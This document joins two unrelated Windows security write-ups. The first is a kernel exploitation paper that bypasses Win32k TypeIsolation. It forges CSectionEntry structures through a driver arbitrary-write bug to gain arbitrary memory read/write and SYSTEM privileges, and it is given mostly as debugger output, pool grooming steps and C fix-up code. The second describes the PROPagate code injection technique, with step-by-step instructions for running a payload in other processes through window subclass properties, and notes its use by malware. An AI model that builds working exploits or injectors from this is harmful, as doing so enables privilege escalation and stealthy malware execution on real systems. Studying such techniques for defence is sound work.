1 Background

In recent years, the exploit of GDI objects to complete arbitrary memory address R/W in kernel exploitation has become more and more useful. In many types of vulnerabilityes such as pool overflow, arbitrary writes, and out-of-bound write, use after free and double free, you can use GDI objects to read and write arbitrary memory. We call this GDI data-only attack.

Microsoft introduced the win32k type isolation after the Windows 10 build 1709 release to mitigate GDI data-only attack in kernel exploitation. I discovered a mistake in Win32k TypeIsolation when I reverse win32kbase.sys. It have resulted GDI data-only attack worked again in certain common vulnerabilities. In this paper, I will share this new attack scenario.

Debug environment:

OS:

Windows 10 rs3 16299.371

FILE:

Win32kbase.sys 10.0.16299.371

2 GDI data-only attack

GDI data-only attack is one of the common methods which used in kernel exploitation. Modify GDI object member-variables by common vulnerabilities, you can use the GDI API in win32k to complete arbitrary memory read and write. At present, two GDI objects commonly used in GDI data-only attacks are Bitmap and Palette. An important structure of Bitmap is:

Typedef struct _SURFOBJ {



DHSURF dhsurf;



HSURF hsurf;



DHPDEV dhpdev;



HDEV hdev;



SIZEL sizlBitmap;



ULONG cjBits;



PVOID pvBits;



PVOID pvScan0;



LONG lDelta;



ULONG iUniq;



ULONG iBitmapFormat;



USHORT iType;



USHORT fjBitmap;



} SURFOBJ, *PSURFOBJ;

An important structure of Palette is:

Typedef struct _PALETTE64



{



BASEOBJECT64 BaseObject;



FLONG flPal;



ULONG32 cEntries;



ULONG32 ulTime;



HDC hdcHead;



ULONG64 hSelected;



ULONG64 cRefhpal;



ULONG64 cRefRegular;



ULONG64 ptransFore;



ULONG64 ptransCurrent;



ULONG64 ptransOld;



ULONG32 unk_038;



ULONG64 pfnGetNearest;



ULONG64 pfnGetMatch;



ULONG64 ulRGBTime;



ULONG64 pRGBXlate;



PALETTEENTRY *pFirstColor;



Struct _PALETTE *ppalThis;



PALETTEENTRY apalColors[3];



}

In the kernel structure of Bitmap and Palette, two important member-variables related to GDI data-only attack are Bitmap->pvScan0 and Palette->pFirstColor. Two member-variables point to Bitmap and Palette’s data field, and you can read or write data from data field through the GDI APIs. As long as we modify two member-variables to any memory address by triggering a vulnerability, we can use GetBitmapBits/SetBitmapBits or GetPaletteEntries/SetPaletteEntries to read and write arbitrary memory address.

About using the Bitmap and Palette to complete the GDI data-only attack Now that there are many related technical papers on the Internet, and it is not the focus of this paper, there will be no more deeply sharing. The relevant information can refer to the fifth part.

3 Win32k TypeIsolation

The exploit of GDI data-only attack greatly reduces the difficulty of kernel exploitation and can be used in most common types of vulnerabilities. Microsoft has added a new mitigation after Windows 10 rs3 build 1709 —- Win32k Typeisolation, which manages the GDI objects through a doubly-linked list, and separates the head of the GDI object from the data field. This is not only mitigate the exploit of pool fengshui which create a predictable pool and uses a GDI object to occupy the pool hole and modify member-variables by vulnerabilities. but also mitigate attack scenario which modifies other member-variables of GDI object header to increase the controllable range of the data field, because the head and data field is no longer adjacent.

About win32k typeisolation mechanism can refer to the following figure:

Here I will explain the important parts of the mechanism of win32k typeisolation. The detailed operation mechanism of win32k typeisolation, including the allocation, and release of GDI object, can be referred to in the fifth part.

In win32k typeisolation, GDI object is managed uniformly through the CSectionEntry doubly linked list. The view field points to a 0x28000 memory space, and the head of the GDI object is managed here. The view field is managed by view array, and the array size is 0x1000. When assigning to a GDI object, RTL_BITMAP is used as an important basis for assigning a GDI object to a specified view field.

In CSectionEntry, bitmap_allocator points to CSectionBitmapAllocator, and xored_view, xor_key, xored_rtl_bitmap are stored in CSectionBitmapAllocator, where xored_view ^ xor_key points to the view field and xored_rtl_btimap ^ xor_key points to RTL_BITMAP.

In RTL_BITMAP, bitmap_buffer_ptr points to BitmapBuffer,and BitmapBuffer is used to record the status of the view field, which is 0 for idle and 1 for in use. When applying for a GDI object, it starts traversing the CSectionEntry list through win32kbase!gpTypeIsolation and checks whether the current view field contains a free memory by CSectionBitmapAllocator. If there is a free memory, a new GDI object header will be placed in the view field.

I did some research in the reverse engineering of the implementation of GDI object allocation and release about the CTypeIsolation class and the CSectionEntry class, and then I found a mistake. TypeIsolation traverses the CSectionEntry doubly linked list, uses the CSectionBitmapAllocator to determine the state of the view field, and manages the GDI object SURFACE which stored in the view field, but does not check the validity of CSectionEntry->view and CSectionEntry->bitmap_allocator pointers, that is to say if we can construct a fake view and fake bitmap_allocator, and we can use the vulnerability to modify CSectionEntry->view and CSectionEntry->bitmap_allocator to point to fake struct, we can re-use GDI object to complete the data-only attack.

4 Save and reborn gdi data-only attack!

In this section, I would like to share the idea of ​​this attack scenario. HEVD is a practice driver developed by Hacksysteam that has typical kernel vulnerabilities. There is an Arbitrary Write vulnerability in HEVD. We use this vulnerability as example to share my attack scenario.

Attack scenario:

First look at the allocation of CSectionEntry, CSectionEntry will allocate 0x40 size session paged pool, CSectionEntry allocate pool memory implementation in NSInstrumentation::CSectionEntry::Create().

.text:00000001C002AC8A mov edx, 20h ; NumberOfBytes



.text:00000001C002AC8F mov r8d, 6F736955h ; Tag



.text:00000001C002AC95 lea ecx, [rdx+1] ; PoolType



.text:00000001C002AC98 call cs:__imp_ExAllocatePoolWithTag //Allocate 0x40 session paged pool

In other words, we can still use the pool fengshui to create a predictable session paged pool hole and it will be occupied with CSectionEntry. Therefore, in the exploit scenario of HEVD Arbitrary write, we use the tagWND to create a stable pool hole. , and use the HMValidateHandle to leak tagWND kernel object address. Because the current vulnerability instance is an arbitrary write vulnerability, if we can reveal the address of the kernel object, it will facilitate our understanding of this attack scenario, of course, in many attack scenarios, we only need to use pool fengshui to create a predictable pool.

Kd> g//make a stable pool hole by using tagWND



Break instruction exception - code 80000003 (first chance)



0033:00007ff6`89a61829 cc int 3



Kd> p



0033:00007ff6`89a6182a 488b842410010000 mov rax,qword ptr [rsp+110h]



Kd> p



0033:00007ff6`89a61832 4839842400010000 cmp qword ptr [rsp+100h],rax



Kd> r rax



Rax=ffff862e827ca220



Kd> !pool ffff862e827ca220



Pool page ffff862e827ca220 region is Unknown



Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04



Ffff862e827ca150 size: 10 previous size: 150 (Free) Free



Ffff862e827ca160 size: b0 previous size: 10 (Free ) Uscu



*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Ustx Process: ffffd40acb28c580



Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp



Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8



Ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8```

0xffff862e827ca220 is a stable session paged pool hole, and 0xffff862e827ca220 will be released later, in a free state.

Kd> p



0033:00007ff7`abc21787 488b842498000000 mov rax,qword ptr [rsp+98h]



Kd> p



0033:00007ff7`abc2178f 48398424a0000000 cmp qword ptr [rsp+0A0h],rax



Kd> !pool ffff862e827ca220



Pool page ffff862e827ca220 region is Unknown



Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04



Ffff862e827ca150 size: 10 previous size: 150 (Free) Free



Ffff862e827ca160 size: b0 previous size: 10 (Free) Uscu



*ffff862e827ca210 size: 40 previous size: b0 (Free ) *Ustx



Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp



Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8



Ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8

Now we need to create the CSecitionEntry to occupy 0xffff862e827ca220. This requires the use of a feature of TypeIsolation. As mentioned in the second section, when the GDI object is requested, it will traverse the CSectionEntry and determine whether there is any free in the view field, if the view field of the CSectionEntry is full, the traversal will continue to the next CSectionEntry, but if CTypeIsolation doubly linked list, all the view fields of the CSectionEntrys are full, then NSInstrumentation::CSectionEntry::Create is invoked to create a new CSectionEntry.

Therefore, we allocate a large number of GDI objects after we have finished creating the pool hole to fill up all the CSectionEntry’s view fields to ensure that a new CSectionEntry is created and occupy a pool hole of size 0x40.

Kd> g//create a large number of GDI objects, 0xffff862e827ca220 is occupied by CSectionEntry



Kd> !pool ffff862e827ca220



Pool page ffff862e827ca220 region is Unknown



Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04



Ffff862e827ca150 size: 10 previous size: 150 (Free) Free



Ffff862e827ca160 size: b0 previous size: 10 (Free) Uscu



*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Uiso



Pooltag Uiso : USERTAG_ISOHEAP, Binary : win32k!TypeIsolation::Create



Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8 ffff86b442563150 size:

Next we need to construct the fake CSectionEntry->view and fake CSectionEntry->bitmap_allocator and use the Arbitrary Write to modify the member-variable pointer in the CSectionEntry in the session paged pool hole to point to the fake struct we constructed.

The view field of the new CSectionEntry that was created when we allocate a large number of GDI objects may already be full or partially full by SURFACEs. If we construct the fake struct to construct the view field as empty, then we can deceive TypeIsolation that GDI object will place SURFACE in a known location.

We use VirtualAllocEx to allocate the memory in the userspace to store the fake struct, and we set the userspace memory property to READWRITE.

Kd> dq 1e0000//fake pushlock



00000000`001e0000 00000000`00000000 00000000`0000006c



Kd> dq 1f0000//fake view



00000000`001f0000 00000000`00000000 00000000`00000000



00000000`001f0010 00000000`00000000 00000000`00000000



Kd> dq 190000//fake RTL_BITMAP



00000000`00190000 00000000`000000f0 00000000`00190010



00000000`00190010 00000000`00000000 00000000`00000000



Kd> dq 1c0000//fake CSectionBitmapAllocator



00000000`001c0000 00000000`001e0000 deadbeef`deb2b33f



00000000`001c0010 deadbeef`deadb33f deadbeef`deb4b33f



00000000`001c0020 00000001`00000001 00000001`00000000

Among them, 0x1f0000 points to the view field, 0x1c0000 points to CSectionBitmapAllocator, and the fake view field is used to store the GDI object. The structure of CSectionBitmapAllocator needs thoughtful construction because we need to use it to deceive the typeisolation that the CSectionEntry we control is a free view item.

Typedef struct _CSECTIONBITMAPALLOCATOR {



PVOID pushlock; // + 0x00



ULONG64 xored_view; // + 0x08



ULONG64 xor_key; // + 0x10



ULONG64 xored_rtl_bitmap; // + 0x18



ULONG bitmap_hint_index; // + 0x20



ULONG num_commited_views; // + 0x24



} CSECTIONBITMAPALLOCATOR, *PCSECTIONBITMAPALLOCATOR;

The above CSectionBitmapAllocator structure compares with 0x1c0000 structure, and I defined xor_key as 0xdeadbeefdeadb33f, as long as the xor_key ^ xor_view and xor_key ^ xor_rtl_bitmap operation point to the view field and RTL_BITMAP. In the debugging I found that the pushlock must point to a valid structure pointer, otherwise it will trigger BUGCHECK, so I allocate memory 0x1e0000 to store pushlock content.

As described in the second section, bitmap_hint_index is used as a condition to quickly index in the RTL_BITMAP, so this value also needs to be set to 0x00 to indicate the index in RTL_BITMAP. In the same way we look at the structure of RTL_BITMAP.

Typedef struct _RTL_BITMAP {



ULONG64 size; // + 0x00



PVOID bitmap_buffer; // + 0x08



} RTL_BITMAP, *PRTL_BITMAP;



Kd> dyb fffff322401b90b0



76543210 76543210 76543210 76543210



-------- -------- -------- --------



Fffff322`401b90b0 11110000 00000000 00000000 00000000 f0 00 00 00



Fffff322`401b90b4 00000000 00000000 00000000 00000000 00 00 00 00



Fffff322`401b90b8 11000000 10010000 00011011 01000000 c0 90 1b 40



Fffff322`401b90bc 00100010 11110011 11111111 11111111 22 f3 ff ff



Fffff322`401b90c0 11111111 11111111 11111111 11111111 ff ff ff ff



Fffff322`401b90c4 11111111 11111111 11111111 11111111 ff ff ff ff



Fffff322`401b90c8 11111111 11111111 11111111 11111111 ff ff ff ff



Fffff322`401b90cc 11111111 11111111 11111111 11111111 ff ff ff ff



Kd> dq fffff322401b90b0



Fffff322`401b90b0 00000000`000000f0 fffff322`401b90c0//ptr to rtl_bitmap buffer



Fffff322`401b90c0 ffffffff`ffffffff ffffffff`ffffffff



Fffff322`401b90d0 ffffffff`ffffffff

Here I select a valid RTL_BITMAP as a template, where the first member-variable represents the RTL_BITMAP size, the second member-variable points to the bitmap_buffer, and the immediately adjacent bitmap_buffer represents the state of the view field in bits. To deceive typeisolation, we will all of them are set to 0, indicating that the view field of the current CSectionEntry item is all idle, referring to the 0x190000 fake RTL_BITMAP structure.

Next, we only need to modify the CSectionEntry view and CSectionBitmapAllocator pointer through the HEVD’s Arbitrary write vulnerability.

Kd> dq ffff862e827ca220//before trigger



Ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300



Ffff862e`827ca230 ffffc383`08613880 ffff862e`84780000



Ffff862e`827ca240 ffff862e`827f33c0 00000000`00000000



Kd> g / / trigger vulnerability, CSectionEntry-> view and CSectionEntry-> bitmap_allocator is modified



Break instruction exception - code 80000003 (first chance)



0033:00007ff7`abc21e35 cc int 3



Kd> dq ffff862e827ca220



Ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300



Ffff862e`827ca230 ffffc383`08613880 00000000`001f0000



Ffff862e`827ca240 00000000`001c0000 00000000`00000000

Next, we normally allocate a GDI object, call CreateBitmap to create a bitmap object, and then observe the state of the view field.

Kd> g



Break instruction exception - code 80000003 (first chance)



0033:00007ff7`abc21ec8 cc int 3



Kd> dq 1f0280



00000000`001f0280 00000000`00051a2e 00000000`00000000



00000000`001f0290 ffffd40a`cc9fd700 00000000`00000000



00000000`001f02a0 00000000`00051a2e 00000000`00000000



00000000`001f02b0 00000000`00000000 00000002`00000040



00000000`001f02c0 00000000`00000080 ffff862e`8277da30



00000000`001f02d0 ffff862e`8277da30 00003f02`00000040



00000000`001f02e0 00010000`00000003 00000000`00000000



00000000`001f02f0 00000000`04800200 00000000`00000000

You can see that the bitmap kernel object is placed in the fake view field. We can read the bitmap kernel object directly from the userspace. Next, we only need to directly modify the pvScan0 of the bitmap kernel object stored in the userspace, and then call the GetBitmapBits/SetBitmapBits to complete any memory address read and write.

Summarize the exploit process:

Fix for full exploit:

In the course of completing the exploit, I discovered that BSOD was generated some time, which greatly reduced the stability of the GDI data-only attack. For example,

Kd> !analyze -v



************************************************** *****************************



* *



* Bugcheck Analysis *



* *



************************************************** *****************************









SYSTEM_SERVICE_EXCEPTION (3b)



An exception happened while performing a system service routine.



Arguments:



Arg1: 00000000c0000005, Exception code that caused the bugcheck



Arg2: ffffd7d895bd9847, Address of the instruction which caused the bugcheck



Arg3: ffff8c8f89e98cf0, Address of the context record for the exception that caused the bugcheck



Arg4: 0000000000000000, zero.









Debugging Details:



------------------















OVERLAPPED_MODULE: Address regions for 'dxgmms1' and 'dump_storport.sys' overlap









EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx









FAULTING_IP:



Win32kbase!NSInstrumentation::CTypeIsolation<163840,640>::AllocateType+47



Ffffd7d8`95bd9847 488b1e mov rbx, qword ptr [rsi]









CONTEXT: ffff8c8f89e98cf0 -- (.cxr 0xffff8c8f89e98cf0)



.cxr 0xffff8c8f89e98cf0



Rax=ffffdb0039e7c080 rbx=ffffd7a7424e4e00 rcx=ffffdb0039e7c080



Rdx=ffffd7a7424e4e00 rsi=00000000001e0000 rdi=ffffd7a740000660



Rip=ffffd7d895bd9847 rsp=ffff8c8f89e996e0 rbp=0000000000000000



R8=ffff8c8f89e996b8 r9=0000000000000001 r10=7ffffffffffffffc



R11=0000000000000027 r12=00000000000000ea r13=ffffd7a740000680



R14=ffffd7a7424dca70 r15=0000000000000027



Iopl=0 nv up ei pl nz na po nc



Cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206



Win32kbase!NSInstrumentation::CTypeIsolation<163840,640>::AllocateType+0x47:



Ffffd7d8`95bd9847 488b1e mov rbx, qword ptr [rsi] ds:002b:00000000`001e0000=????????????????

After many tracking, I discovered that the main reason for BSOD is that the fake struct we created when using VirtualAllocEx is located in the process space of our current process. This space is not shared by other processes, that is, if we modify the view field through a vulnerability. After the pointer to the CSectionBitmapAllocator, when other processes create the GDI object, it will also traverse the CSecitionEntry. When traversing to the CSectionEntry we modify through the vulnerability, it will generate BSoD because the address space of the process is invalid, so here I did my first fix when the vulnerability was triggered finish.

DWORD64 fix_bitmapbits1 = 0xffffffffffffffff;



DWORD64 fix_bitmapbits2 = 0xffffffffffff;



DWORD64 fix_number = 0x2800000000;



CopyMemory((void *)(fakertl_bitmap + 0x10), &fix_bitmapbits1, 0x8);



CopyMemory((void *)(fakertl_bitmap + 0x18), &fix_bitmapbits1, 0x8);



CopyMemory((void *)(fakertl_bitmap + 0x20), &fix_bitmapbits1, 0x8);



CopyMemory((void *)(fakertl_bitmap + 0x28), &fix_bitmapbits2, 0x8);



CopyMemory((void *)(fakeallocator + 0x20), &fix_number, 0x8);

In the first fix, I modified the bitmap_hint_index and the rtl_bitmap to deceive the typeisolation when traverse the CSectionEntry and think that the view field of the fake CSectionEntry is currently full and will skip this CSectionEntry.

We know that the current CSectionEntry has been modified by us, so even if we end the exploit exit process, the CSectionEntry will still be part of the CTypeIsolation doubly linked list, and when our process exits, The current process space allocated by VirtualAllocEx will be released. This will lead to a lot of unknown errors. We have already had the ability to read and write at any address. So I did my second fix.

ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress + 0x8, (BYTE *)&CSectionPrevious, sizeof(DWORD64));



ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress, (BYTE *)&CSectionNext, sizeof(DWORD64));



LogMessage(L_INFO, L"Current CSectionEntry->previous: 0x%p", CSePrevious);



LogMessage(L_INFO, L"Current CSectionEntry->next: 0x%p", CSectionNext);



ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionNext + 0x8, (BYTE *)&CSectionPrevious, sizeof(DWORD64));



ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionPrevious, (BYTE *)&CSectionNext, sizeof(DWORD64));

In the second fix, I obtained CSectionEntry->previous and CSectionEntry->next, which unlinks the current CSectionEntry so that when the GDI object allocates traversal CSectionEntry, it will  deal with fake CSectionEntry no longer.

After completing the two fixes, you can successfully use GDI data-only attack to complete any memory address read and write. Here, I directly obtained the SYSTEM permissions for the latest version of Windows10 rs3, but once again when the process completely exits, it triggers BSoD. After the analysis, I found that this BSoD is due to the unlink after, the GDI handle is still stored in the GDI handle table, then it will find the corresponding kernel object in CSectionEntry and free away, and we store the bitmap kernel object CSectionEntry has been unlink, Caused the occurrence of BSoD.

The problem occurs in NtGdiCloseProcess, which is responsible for releasing the GDI object of the current process. The call chain associated with SURFACE is as follows

0e ffff858c`8ef77300 ffff842e`52a57244 win32kbase!SURFACE::bDeleteSurface+0x7ef



0f ffff858c`8ef774d0 ffff842e`52a1303f win32kbase!SURFREF::bDeleteSurface+0x14



10 ffff858c`8ef77500 ffff842e`52a0cbef win32kbase!vCleanupSurfaces+0x87



11 ffff858c`8ef77530 ffff842e`52a0c804 win32kbase!NtGdiCloseProcess+0x11f

bDeleteSurface is responsible for releasing the SURFACE kernel object in the GDI handle table. We need to find the HBITMAP which stored in the fake view in the GDI handle table, and set it to 0x0. This will skip the subsequent free processing in bDeleteSurface. Then call HmgNextOwned to release the next GDI object. The key code for finding the location of HBITMAP in the GDI handle table is in HmgSharedLockCheck. The key code is as follows:

V4 = *(_QWORD *)(*(_QWORD *)(**(_QWORD **)(v10 + 24) + 8 *((unsigned __int64)(unsigned int)v6 >> 8)) + 16i64 * (unsigned __int8 )v6 + 8);

Here I have restored a complete calculation method to find the bitmap object:

*(*(*(*(*win32kbase!gpHandleManager+10)+8)+18)+(hbitmap&0xffff>>8)*8)+hbitmap&0xff*2*8

It is worth mentioning here is the need to leak the base address of win32kbase.sys, in the case of Low IL, we need vulnerability to leak info. And I use NtQuerySystemInformation in Medium IL to leak win32kbase.sys base address to calculate the gpHandleManager address, after Find the position of the target bitmap object in the GDI handle table in the fake view, and set it to 0x0. Finally complete the full exploit.

Now that the exploit of the kernel is getting harder and harder, a full exploitation often requires the support of other vulnerabilities, such as the info leak. Compared to the oob writes, uaf, double free, and write-what-where, the pool overflow is more complicated with this scenario, because it involves CSectionEntry->previous and CSectionEntry->next problems, but it is not impossible to use this scenario in pool overflow.

If you have any questions, welcome to discuss with me. Thank you!

5 Reference

https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives

https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/5A1F/DEFCON-25-5A1F-Demystifying-Kernel-Exploitation-By-Abusing-GDI-Objects.pdf

https://blog.quarkslab.com/reverse-engineering-the-win32k-type-isolation-mitigation.html

https://github.com/sam-b/windows_kernel_address_leaks

ROPagate code injection technique

@Hexacorn discussed in late 2017 a new code injection technique, which involves hooking existing callback functions in a Window subclass structure. Exploiting this legitimate functionality of windows for malicious purposes will not likely surprise some developers already familiar with hooking existing callback functions in a process. However, it’s still a relatively new technique for many to misuse for code injection, and we’ll likely see it used more and more in future.

For all the details on research conducted by Adam, I suggest the following posts.

PROPagate — a new code injection trick

|=======================================================|

Executing code inside a different process space is typically achieved via an injected DLL /system-wide hooks, sideloading, etc./, executing remote threads, APCs, intercepting and modifying the thread context of remote threads, etc. Then there is Gapz/Powerloader code injection (a.k.a. EWMI), AtomBombing, and mapping/unmapping trick with the NtClose patch.

There is one more.

Remember Shatter attacks?

I believe that Gapz trick was created as an attempt to bypass what has been mitigated by the User Interface Privilege Isolation (UIPI). Interestingly, there is actually more than one way to do it, and the trick that I am going to describe below is a much cleaner variant of it – it doesn’t even need any ROP.

There is a class of windows always present on the system that use window subclassing. Window subclassing is just a fancy name for hooking, because during the subclassing process an old window procedure is preserved while the new one is being assigned to the window. The new one then intercepts all the window messages, does whatever it has to do, and then calls the old one.

The ‘native’ window subclassing is done using the SetWindowSubclass API.

When a window is subclassed it gains a new property stored inside its internal structures and with a name depending on a version of comctl32.dll:

• UxSubclassInfo – version 6.x
• CC32SubclassInfo – version 5.x

Looking at properties of Windows Explorer child windows we can see that plenty of them use this particular subclassing property:

So do other Windows applications – pretty much any program that is leveraging standard windows controls can be of interest, including say… OllyDbg:When the SetWindowSubclass is called it is using SetProp API to set one of these two properties (UxSubclassInfo, or CC32SubclassInfo) to point to an area in memory where the old function pointer will be stored. When the new message routine is called, it will then call GetProp API for the given window and once its old procedure address is retrieved – it is executed.

Coming back for a moment to the aforementioned shattering attacks. We can’t use SetWindowLong or SetClassLong (or their newer SetWindowLongPtr and SetClassLongPtr alternatives) any longer to set the address of the window procedure for windows belonging to the other processes (via GWL_WNDPROC or GCL_WNDPROC). However, the SetProp function is not affected by this limitation. When it comes to the process at the lower of equal  integrity level the Microsoft documentation says:

SetProp is subject to the restrictions of User Interface Privilege Isolation (UIPI). A process can only call this function on a window belonging to a process of lesser or equal integrity level. When UIPI blocks property changes, GetLastError will return 5.

So, if we talk about other user applications in the same session – there is plenty of them and we can modify their windows’ properties freely!

I guess you know by now where it is heading:

• We can freely modify the property of a window belonging to another process.
• We also know some properties point to memory region that store an old address of a procedure of the subclassed window.
• The routine that address points to will be at some stage executed.

All we need is a structure that UxSubclassInfo/CC32SubclassInfo properties are using. This is actually pretty easy – you can check what SetProp is doing for these subclassed windows. You will quickly realize that the old procedure is stored at the offset 0x14 from the beginning of that memory region (the structure is a bit more complex as it may contain a number of callbacks, but the first one is at 0x14).

So, injecting a small buffer into a target process, ensuring the expected structure is properly filled-in and and pointing to the payload and then changing the respective window property will ensure the payload is executed next time the message is received by the window (this can be enforced by sending a message).

When I discovered it, I wrote a quick & dirty POC that enumerates all windows with the aforementioned properties (there is lots of them so pretty much every GUI application is affected). For each subclassing property found I changed it to a random value – as a result Windows Explorer, Total Commander, Process Hacker, Ollydbg, and a few more applications crashed immediately. That was a good sign. I then created a very small shellcode that shows a Message Box on a desktop window and tested it on Windows 10 (under normal account).

The moment when the shellcode is being called in a first random target (here, Total Commander):

Of course, it also works in Windows Explorer, this is how it looks like when executed:

If we check with Process Explorer, we can see the window belongs to explorer.exe:Testing it on a good ol’ Windows XP and injecting the shellcode into Windows Explorer shows a nice cascade of executed shellcodes for each window exposing the subclassing property (in terms of special effects XP always beats Windows 10 – the latter freezes after first messagebox shows up; and in case you are wondering why it freezes – it’s because my shellcode is simple and once executed it is basically damaging the running application):

For obvious reasons I won’t be attaching the source code.

If you are an EDR or sandboxing vendor you should consider monitoring SetProp/SetWindowSubclass APIs as well as their NT alternatives and system services.

And…

This is not the end. There are many other generic properties that can be potentially leveraged in a very same way:

• The Microsoft Foundation Class Library (MFC) uses ‘AfxOldWndProc423’ property to subclass its windows
• ControlOfs[HEX] – properties associated with Delphi applications reference in-memory Visual Component Library (VCL) objects
• New windows framework e.g. Microsoft.Windows.WindowFactory.* needs more research
• A number of custom controls use ‘subclass’ and I bet they can be modified in a similar way
• Some properties expose COM/OLE Interfaces e.g. OleDropTargetInterface

If you are curious if it works between 32- and 64- bit processes

|=======================================================|

PROPagate follow-up — Some more Shattering Attack Potentials

|=======================================================|

We now know that one can use SetProp to execute a shellcode inside 32- and 64-bit applications as long as they use windows that are subclassed.

=========================================================

A new trick that allows to execute code in other processes without using remote threads, APC, etc. While describing it, I focused only on 32-bit architecture. One may wonder whether there is a way for it to work on 64-bit systems and even more interestingly – whether there is a possibility to inject/run code between 32- and 64- bit processes.

To test it, I checked my 32-bit code injector on a 64-bit box. It crashed my 64-bit Explorer.exe process in no time.

So, yes, we can change properties of windows belonging to 64-bit processes from a 32-bit process! And yes, you can swap the subclass properties I described previously to point to your injected buffer and eventually make the payload execute! The reason it works is that original property addresses are stored in lower 32-bit of the 64-bit offset. Replacing that lower 32-bit part of the offset to point to a newly allocated buffer (also in lower area of the memory, thanks to VirtualAllocEx) is enough to trigger the code execution.

See below the GetProp inside explorer.exe retrieving the subclassed property:

So, there you have it… 32 process injecting into 64-bit process and executing the payload w/o heaven’s gate or using other undocumented tricks.

The below is the moment the 64-bit shellcode is executed:

p.s. the structure of the subclassed callbacks is slightly different inside 64-bit processes due to 64-bit offsets, but again, I don’t want to make it any easier to bad guys than it should be ????

=========================================================

There are more possibilities.

While SetWindowLong/SetWindowLongPtr/SetClassLong/SetClassLongPtr are all protected and can be only used on windows belonging to the same process, the very old APIs SetWindowWord and SetClassWord … are not.

As usual, I tested it enumerating windows running a 32-bit application on a 64-bit system and setting properties to unpredictable values and observing what happens.

It turns out that again, pretty much all my Window applications crashed on Window 10. These 16 bits seem to be quite powerful…

I am not a vulnerability researcher, but I bet we can still do something interesting; I will continue poking around. The easy wins I see are similar to SetProp e.g. GWL_USERDATA may point to some virtual tables/pointers; the DWL_USER – as per Microsoft – ‘sets new extra information that is private to the application, such as handles or pointers’. Assuming that we may only modify 16 bit of e.g. some offset, redirecting it to some code cave or overwriting unused part of memory within close proximity of the original offset could allow for a successful exploit.

|=======================================================|

PROPagate follow-up #2 — Some more Shattering Attack Potentials

|=======================================================|

A few months back I discovered a new code injection technique that I named PROPagate. Using a subclass of a well-known shatter attack one can modify the callback function pointers inside other processes by using Windows APIs like SetProp, and potentially others. After pointing out a few ideas I put it on a back burner for a while, but I knew I will want to explore some more possibilities in the future.

In particular, I was curious what are the chances one could force the remote process to indirectly call the ‘prohibited’ functions like SetWindowLong, SetClassLong (or their newer alternatives SetWindowLongPtr and SetClassLongPtr), but with the arguments that we control (i.e. from a remote process). These API are ‘prohibited’ because they can only be called in a context of a process that owns them, so we can’t directly call them and target windows that belong to other processes.

It turns out his may be possible!

If there is one common way of using the SetWindowLong API it is to set up pointers, and/or filling-in window-specific memory areas (allocated per window instance) with some values that are initialized immediately after the window is created. The same thing happens when the window is destroyed – during the latter these memory areas are usually freed and set to zeroes, and callbacks are discarded.

These two actions are associated with two very specific window messages:

• WM_NCCREATE

• WM_NCDESTROY

In fact, many ‘native’ windows kick off their existence by setting some callbacks in their message handling routines during processing of these two messages.

With that in mind, I started looking at existing processes and got some interesting findings. Here is a snippet of a routine I found inside Windows Explorer that could be potentially abused by a remote process:

Or, it’s disassembly equivalent (in response to WM_NCCREATE message):

So… since we can still freely send messages between windows it would seem that there is a lot of things that can be done here. One could send a specially crafted WM_NCCREATE message to a window that owns this routine and achieve a controlled code execution inside another process (the lParam needs to pass the checks and include pointer to memory area that includes a callback that will be executed afterwards – this callback could point to malicious code). I may be of course wrong, but need to explore it further when I find more time.

The other interesting thing I noticed is that some existing windows procedures are already written in a way that makes it harder to exploit this issue. They check if the window-specific data was set, and only if it was NOT they allow to call the SetWindowLong function. That is, they avoid executing the same initialization code twice.

|=======================================================|

No Proof of Concept?

Let’s be honest with ourselves, most of the “good” code injection techniques used by malware authors today are the brainchild of some expert(s) in the field of computer security. Take for example Process Hollowing, AtomBombing and the more recent Doppelganging technique.

On the likelihood of code being misused, Adam didn’t publish a PoC, but there’s still sufficient information available in the blog posts for a competent person to write their own proof of concept, and it’s only a matter of time before it’s used in the wild anyway.

Update: After publishing this, I discovered it’s currently being used by SmokeLoader but using a different approach to mine by using SetPropA/SetPropW to update the subclass procedure.

I’m not providing source code here either, but given the level of detail, it should be relatively easy to implement your own.

Steps to PROPagate.

1. Enumerate all window handles and the properties associated with them using EnumProps/EnumPropsEx
2. Use GetProp API to retrieve information about hWnd parameter passed to WinPropProc callback function. Use “UxSubclassInfo” or “CC32SubclassInfo” as the 2nd parameter.
   The first class is for systems since XP while the latter is for Windows 2000.
3. Open the process that owns the subclass and read the structures that contain callback functions. Use GetWindowThreadProcessId to obtain process id for window handle.
4. Write a payload into the remote process using the usual methods.
5. Replace the subclass procedure with pointer to payload in memory.
6. Write the structures back to remote process.

At this point, we can wait for user to trigger payload when they activate the process window, or trigger the payload via another API.

Subclass callback and structures

Microsoft was kind enough to document the subclass procedure, but unfortunately not the internal structures used to store information about a subclass, so you won’t find them on MSDN or even in sources for WINE or ReactOS.

typedef LRESULT (CALLBACK *SUBCLASSPROC)(
   HWND      hWnd,
   UINT      uMsg,
   WPARAM    wParam,
   LPARAM    lParam,
   UINT_PTR  uIdSubclass,
   DWORD_PTR dwRefData);

